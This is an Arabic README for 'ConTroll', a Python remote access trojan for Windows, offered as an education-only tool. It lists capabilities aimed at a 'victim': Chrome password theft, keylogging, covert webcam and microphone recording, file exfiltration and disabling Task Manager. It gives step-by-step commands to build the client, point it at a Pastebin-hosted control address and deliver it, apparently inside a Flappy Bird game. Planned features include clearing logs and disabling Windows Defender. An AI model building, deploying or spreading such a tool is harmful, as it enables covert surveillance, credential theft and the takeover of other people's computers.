إخلاء مسؤولية

ConTroll مخصص لأغراض التعليم/البحث فقط. لا يتحمل المؤلف أي مسؤولية و/أو تبعة تجاه كيفية استخدامك لأي من الأدوات/الكود المصدري/أي ملفات مقدمة. لن يكون المؤلف أو أي شخص مرتبط به مسؤولاً عن أي خسائر و/أو أضرار تتعلق باستخدام أي من الملفات المقدمة مع ConTroll. باستخدامك لـ ConTroll أو أي ملفات مرفقة، فإنك تفهم أنك توافق على الاستخدام على مسؤوليتك الخاصة.

مرة أخرى، ConTroll وجميع الملفات المرفقة مخصصة لأغراض التعليم و/أو البحث فقط. ConTroll مخصص فقط للاستخدام في مختبرات الاختراق الخاصة بك، أو بموافقة صريحة من مالك الجهاز الذي يتم اختباره.

ConTroll - حصان طروادة للتحكم عن بعد (RAT)

شاهد فيديو العرض هنا

تم إنشاء حصان طروادة للتحكم عن بعد يفرض سيطرة إدارية على أي جهاز ويندوز يتم اختراقه.

التحديثات منذ عرض الفيديو

1. تحديث عنوان IP والمنفذ الذي يجب أن يتصل به العميل عن بُعد
2. إدخال عنوان IP عند تشغيل الخادم
3. تعطيل إدارة المهام

الميزات

1. قفل شاشة الضحية.
2. إعادة الاتصال بالخادم تلقائيًا.
3. إنشاء صندوق منبثق مخصص.
4. سحب الملفات من جهاز الضحية.
5. الحصول على معلومات حول جهاز الضحية.
6. سرقة كلمات المرور المحفوظة في كروم.
7. تفعيل كاميرا الويب الخاصة بالجهاز وتسجيل فيديو.
8. تفعيل ميكروفون الجهاز وتسجيل الصوت.
9. إنهاء أي عملية تعمل على جهاز الضحية.
10. مراقبة سلوك المستخدم عبر قدرات تسجيل المفاتيح (ضغطات المفاتيح ولقطات الشاشة).
11. تعطيل إدارة المهام. (تحذير: قد ترغب في تعطيل هذا إذا كنت تعمل محليًا)

المتطلبات

تحتاج إلى بنية معالج 32 بت لبناء الملفات الثنائية. لذا استخدم نظام ويندوز 32 أو يونكس 32 لتشغيل الكود وبنائه.

1. python 2.x
2. opencv
3. numpy
4. pyhook
5. pythoncom
6. pyinstaller
7. pygame
8. py2exe
9. pyAudio

الاستخدام

جديد

قم بإعداد حساب PASTEBIN، وأنشئ لصقة جديدة تحتوي على عنوان IP ورقم المنفذ الذي تريد أن يرسل إليه العميل الاستجابات. يجب فصل عنوان IP ورقم المنفذ بنقطتين رأسيتين هكذا 192.168.12.14:5000. بعد إنشاء اللصقة، انقر على RAW، سيؤدي هذا إلى إعادة توجيهك إلى صفحة تحتوي فقط على عنوان IP ورقم المنفذ؛ انسخ ذلك الرابط والصقه في client.pyw في دالة getIpAddress. إذا أردت لأي سبب من الأسباب تحديث عنوان IP و/أو المنفذ الذي تريد أن يتصل به العميل، سجّل الدخول إلى حساب PASTEBIN وقم بإجراء التغييرات، واحفظها وسيتبنى العميل تلك التغييرات.

1. استنساخ المستودع

git clone https://github.com/Lithium95/ConTroll_Remote_Access_Trojan.git

2. تثبيت opencv و numpy من requirements.txt

python -m pip install -r requirements.txt

3. تنزيل وتثبيت pyHook

4. تنزيل وتثبيت pythoncom

5. تنزيل عجلة pyAudio

6. تثبيت ملف العجلة

python -m pip install PyAudio-0.2.11-cp27-cp27m-win32.whl

7. استخدام pyinstaller لبناء الثنائي الخاص بالعميل

python pyinstaller.py --onefile --windowed client.pyw

تخطَّ الخطوتين التاليتين إذا كنت لا تريد استخدام لعبة flappy bird

8. إعداد خادم محلي لاستضافة client.exe. استخدم live-server

live-server --port=8081

9. استخدام py2exe لبناء لعبة flappy bird

python setup.py

سيكون ملف exe الخاص بلعبة flappy bird في مجلد باسم 'dist'

10. تشغيل الخادم

python server.py

11. انتظار اتصال العميل

المهام المتبقية

1. جعل حصان طروادة متعدد المنصات
2. مسح سجلات النظام والأمان والتطبيقات
3. تشفير الاتصال بين الخادم والعميل
4. تعديل خصائص الوصول والإنشاء والتعديل للملفات
5. تمكين/تعطيل خدمات مثل RDP وUAC وWindows Defender